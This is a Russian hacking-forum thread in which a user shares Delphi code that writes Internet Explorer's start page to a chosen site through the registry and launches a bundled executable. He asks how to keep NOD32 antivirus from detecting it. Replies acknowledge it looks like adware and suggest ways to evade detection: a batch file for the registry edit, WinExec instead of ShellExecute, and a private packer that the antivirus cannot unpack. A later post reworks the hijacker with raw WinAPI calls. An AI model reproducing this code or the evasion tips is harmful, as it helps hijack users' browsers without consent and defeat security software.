Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Борьба с NOD32 из Delphi (https://forum.antichat.xyz/showthread.php?t=31109)

Mirovan 12.01.2007 14:35

Борьба с NOD32 из Delphi
 
Есть программка (код ниже), она не делает ничего особенного кроме того что при запуске её устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe (которая полностью безопасна). НОД 32 почему то ругается на скомпилинный EXEшник, хотя DR.Web молчит.

Вопрос:
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался

2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?


Код:


{$R run.res} //Инклудим Файл ресурсов в котором есть иконка
uses
  Windows, Registry, ShellApi;
var
  r: TRegistry;
  h: HWND;
begin
  r := TRegistry.Create;
  r.RootKey := HKEY_CURRENT_USER;
  r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
  r.WriteString('Start Page', 'http://www.some_site.ru');
  r.CloseKey;
  r.Free;
  ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.


Sov1et 12.01.2007 18:37

нод скорее всего ругается на изменение реестра осла...

asm33 13.01.2007 03:06

точняк это из за осла нод парит мозги.

1)если уж совсем никак, то попробуй реализовать операции с реестром через bat файл, а потом его запустить

2) может быть и уменьшится, но не значительно. проблемы с размером exe решаются просто: использовать kol библиотеку.

W!z@rD 13.01.2007 10:29

Цитата:

Сообщение от Mirovan
устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe

1. Скрытый запуск процесса.
2. Работа с ветвью реестра которая подгрузится по умолчанию... ну похоже ведь на Adware, да? =)

Цитата:

Сообщение от Mirovan
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался
2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?

1.
а) не юзай пакеры
б) ни делай скрытых запусков типа
winexec('file.exe',sw_hide);
ShellExecute(handle,nil,'file.exe',nil,nil,sw_hide );
(примечание. ИСХОДНИК СМОТРЕЛ!)
в) ни делай ничего противозаконного =)

2) да действительно так чем выше версия КОМПИЛЯТОРА тем выше исходный размер.

Код:


{$R run.res} //Инклудим Файл ресурсов в котором есть
иконка
//зачем иконка?
uses
  Windows, Registry, ShellApi;
//Размер? Избавляйся от Registry & ShellAPI

var
  r: TRegistry;
  h: HWND;
//Теперь объясни зачем тебе переменная h?
begin
  r := TRegistry.Create;
  r.RootKey := HKEY_CURRENT_USER;
  r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
  r.WriteString('Start Page', 'http://www.some_site.ru');
  r.CloseKey;
  r.Free;
  ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.


Mirovan 13.01.2007 10:41

1) Думаю многие видели диски какого нить там софта, где также ставиться хомпага в ИЕ на их сайт, причем нод молчит. Может есть способ изменения хомпаге ИЕ через ВинАпи ?

2) я пренебрежительно отношусь к Kol, он бывает коверкает приложение, хотя здесь вроде программка маленькая, думаю что всё будет ОК.


Кстати, будет ли НОД ругаться если использовать не консльное приложение а Gui-приложение? ( надо проверить ) .

Mirovan 13.01.2007 10:44

Иконка нужна, однозначна, ну чтоб красиво было :)

Если избавться от Registry & ShellAPI , то каким образом менять хомпагу у ИЕ ?

W!z@rD 13.01.2007 12:41

))
Ужос...
от ShellAPI можно избавиться путем переноса описания функции со всем описанием
т.е. имя, переменные, экспорт...
сейчас не могу сделать т.к. не дома.
в качестве варианта можно использовать winexec
от Registry можно избавиться если будешь работать с реестром на API

asm33 13.01.2007 15:51

а вместо ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
WinExec() использовать нереально? учитывая что ShellExecute запускается с аргументами h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL, WinExec полноценно ее заменит + не надо shellapi подключать, размер будет меньше

asm33 13.01.2007 15:53

пакеры как раз надо использовать!!! какой нибудь telock 1.0 (private edition). Вряд ли нод его распакует )))

Mirovan 13.01.2007 17:06

Тут попробавал изменить код, чрез ВинАпи попыытался, нифига, НОД Снова орет:


//{$R run.res}
uses
Windows, Registry, ShellApi;
var
h: HWND;
(******)
function RegWriteStr(RootKey: HKEY; Key, Name, Value: string): Boolean;
var
Handle: HKEY;
Res: LongInt;
begin
Result := False;
Res := RegCreateKeyEx(RootKey, PChar(Key), 0, nil, REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, nil, Handle, nil);
if Res <> ERROR_SUCCESS then
Exit;
Res := RegSetValueEx(Handle, PChar(Name), 0, REG_SZ, PChar(Value),
Length(Value) + 1);
Result := Res = ERROR_SUCCESS;
RegCloseKey(Handle);
end;
(******)
begin
RegWriteStr(HKEY_CURRENT_USER, 'Software\Microsoft\Internet Explorer\Main', 'Start Page', 'http://www.maizon.ru');
// ShellExecute(h, 'open', pchar('la2.exe'), nil , nil, SW_SHOWNORMAL);
end.


Время: 13:08